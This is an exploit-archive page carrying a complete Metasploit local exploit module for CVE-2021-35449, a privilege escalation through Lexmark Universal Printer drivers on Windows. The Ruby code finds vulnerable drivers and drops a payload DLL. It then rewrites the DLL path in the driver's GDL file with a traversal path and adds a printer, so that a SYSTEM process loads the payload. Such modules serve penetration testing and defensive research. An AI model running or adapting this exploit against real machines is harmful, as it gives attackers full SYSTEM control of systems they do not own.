Lexmark Driver Privilege Escalation

Authored by Jacob Baines, Shelby Pace, Grant Willcox | Site metasploit.com

Posted Aug 12, 2021

Various Lexmark Universal Printer drivers as listed at advisory TE953 allow low-privileged authenticated users to elevate their privileges to SYSTEM on affected Windows systems by modifying the XML file at C:\ProgramData\<driver name>\Universal Color Laser.gdl to replace the DLL path to unires.dll with a malicious DLL path. When C:\Windows\System32\Printing_Admin_Scripts\en-US\prnmngr.vbs is then used to add the printer to the affected system, PrintIsolationHost.exe, a Windows process running as NT AUTHORITY\SYSTEM, will inspect the C:\ProgramData\<driver name>\Universal Color Laser.gdl file and will load the malicious DLL from the path specified in the file. This which will result in the malicious DLL executing as NT AUTHORITY\SYSTEM. Once this module is finished, it will use the prnmngr.vbs script to remove the printer it added.

tags | exploit
systems | windows
advisories | CVE-2021-35449
SHA-256 | db241e26cf8e485cbeaa7d359e18c68f4083f5cbe8615e284394323a682200d8 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Lexmark Driver Privilege Escalation',
        'Description' => %q{
          Various Lexmark Universal Printer drivers as listed at advisory TE953
          allow low-privileged authenicated users to elevate their privileges to
          SYSTEM on affected Windows systems by modifying the XML file at
          C:\ProgramData\<driver name>\Universal Color Laser.gdl
          to replace the DLL path to unires.dll with a malicious DLL path.

          When C:\Windows\System32\Printing_Admin_Scripts\en-US\prnmngr.vbs is
          then used to add the printer to the affected system, PrintIsolationHost.exe,
          a Windows process running as NT AUTHORITY\SYSTEM, will inspect the
          C:\ProgramData\<driver name>\Universal Color Laser.gdl file and will
          load the malicious DLL from the path specified in the file. This which will
          result in the malicious DLL executing as NT AUTHORITY\SYSTEM.

          Once this module is finished, it will use the prnmngr.vbs script
          to remove the printer it added.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Jacob Baines', # discovery, PoC, module
          'Shelby Pace', # original Ricoh driver module
          'Grant Willcox' # module
        ],
        'References' =>
          [
            [ 'CVE', '2021-35449'],
            [ 'URL', 'http://support.lexmark.com/index?page=content&id=TE953'],
            [ 'URL', 'https://github.com/jacob-baines/concealed_position'],
            [ 'URL', 'https://media.defcon.org/DEF%20CON%2029/DEF%20CON%2029%20presentations/Jacob%20Baines%20-%20Bring%20Your%20Own%20Print%20Driver%20Vulnerability.pdf']
          ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Platform' => 'win',
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' =>
          [
            [
              'Windows', { 'Arch' => [ ARCH_X86, ARCH_X64 ] }
            ]
          ],
        'Notes' =>
        {
          'SideEffects' => [ ARTIFACTS_ON_DISK ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ SERVICE_RESOURCE_LOSS ]
        },
        'DisclosureDate' => '2021-07-15',
        'DefaultTarget' => 0
      )
    )
    register_options(
      [OptString.new('DRIVERNAME', [false, 'The name of the Lexmark driver to exploit', ''])]
    )
    self.needs_cleanup = true
  end

  # Check to see if a there are Lexmark drivers in the driver store.
  # If there are, validate that they are similar to the ones we want
  # to exploit. The user can specify the driver they'd like to exploit
  # as option. Otherwise, the first vulnerable driver from the driver store
  # will be selected.
  def check
    res = cmd_exec('pnputil.exe /enum-drivers')
    m = res.scan(%r{Published Name:      ([^.]*\.inf)\r\nOriginal Name:      lmu.*?.inf\r\nProvider Name:      Lexmark International\r\nClass Name:         Printers\r\nClass GUID:         {4d36e979-e325-11ce-bfc1-08002be10318}\r\nDriver Version:     (\d+)/\d+/(\d+) \d+\.\d+\.\d+\.\d+}m)

    return CheckCode::Safe('No Lexmark print drivers in the driver store') if m.empty?

    # known vulnerable drivers
    driver_list = ['Lexmark Universal v2', 'Lexmark Universal v2 XL', 'Lexmark Printer Software G2', 'Lexmark Printer Software G2 XL']
    found_drivers = []

    for path in m
      print_status("Lexmark driver published at #{path[0]}")
      inf_text = read_file("C:\\Windows\\inf\\#{path[0]}")
      for driver in driver_list
        if inf_text.include?(driver)
          found_drivers.push(driver)
        end
      end
    end

    return CheckCode::Safe('None of the Lexmark drivers in the driver store are known to be vulnerable') if found_drivers.empty?

    found_drivers = found_drivers.uniq
    print_status("Found #{found_drivers.length} possible options:")
    for driver in found_drivers
      print_status("\t#{driver}")
    end
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
    # select driver to exploit
    @drvr_name = datastore['DRIVERNAME']
    if @drvr_name.empty?
      @drvr_name = found_drivers[0]
      print_status("No user provided DRIVERNAME. Defaulting to \"#{@drvr_name}\"")
    else
      return CheckCode::Safe('The user specified driver is not in the driver store') unless
found_drivers.include?(@drvr_name)

      print_status('The user selected driver was in the driver store')
    end

    @gdl_file = 'C:\\ProgramData\\' + @drvr_name + '\\Universal Color Laser.gdl'
    CheckCode::Detected('A potentially vulnerable Lexmark print driver is available.')
  end

  def do_add_printer_vbs
    script_cmd = "cscript \"#{@script_path}\" -a -p \"#{@printer_name}\" -m \"#{@drvr_name}\" -r \"lpt1:\""
    print_status("Adding printer #{@printer_name}...")
    cmd_exec(script_cmd)
  end

  def add_printer
    fail_with(Failure::NotFound, 'Printer driver script not found') unless file?(@script_path)
    fail_with(Failure::NotFound, 'No driver name set') if @drvr_name.empty?

    # If the driver has never been installed, then the vulnerable file won't exist. So let's
    # install once if necessary
    if !file?(@gdl_file)
      do_add_printer_vbs
      cleanup
    end

    return CheckCode::Safe('No Lexmark GDL file found') unless file?(@gdl_file)

    # dump exploit dll to disk
    dll_data = generate_payload_dll
    temp_path = expand_path('%TEMP%\\')
    temp_path.concat(Rex::Text.rand_text_alpha(5..9))
    temp_path.concat('.dll')
    vprint_status("Writing dll to #{temp_path}")
    write_file(temp_path, dll_data)
    register_files_for_cleanup(temp_path)

    # replace a DLL path to one in our control
    traversal_path = '..\\..\\..\\..\\..\\..'
    traversal_path.concat(temp_path[2..-1])
    text = read_file(@gdl_file)
    new_contents = text.gsub(/unires.dll/, traversal_path)
    write_file(@gdl_file, new_contents)

    # trigger exploitaiton
    do_add_printer_vbs

    # reset the path
    text = read_file(@gdl_file)
    new_contents = text.gsub(traversal_path, 'unires.dll')
    write_file(@gdl_file, new_contents)
  rescue Rex::Post::Meterpreter::RequestError => e
    fail_with(Failure::Unknown, "#{e.class} #{e.message}")
  end

  def exploit
    fail_with(Failure::None, 'Already running as SYSTEM') if is_system?

    fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type ==
'meterpreter'

    if sysinfo['Architecture'] != payload.arch.first
      fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target driver')
    end

    @printer_name = Rex::Text.rand_text_alpha(5..9)
    @script_path = 'C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs'
    add_printer
  end

  def cleanup
    print_status("Deleting printer #{@printer_name}")
    delete_cmd = "cscript \"#{@script_path}\" -d -p \"#{@printer_name}\""
    cmd_exec(delete_cmd)
  end
end
```


Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter
Subscribe to an RSS Feed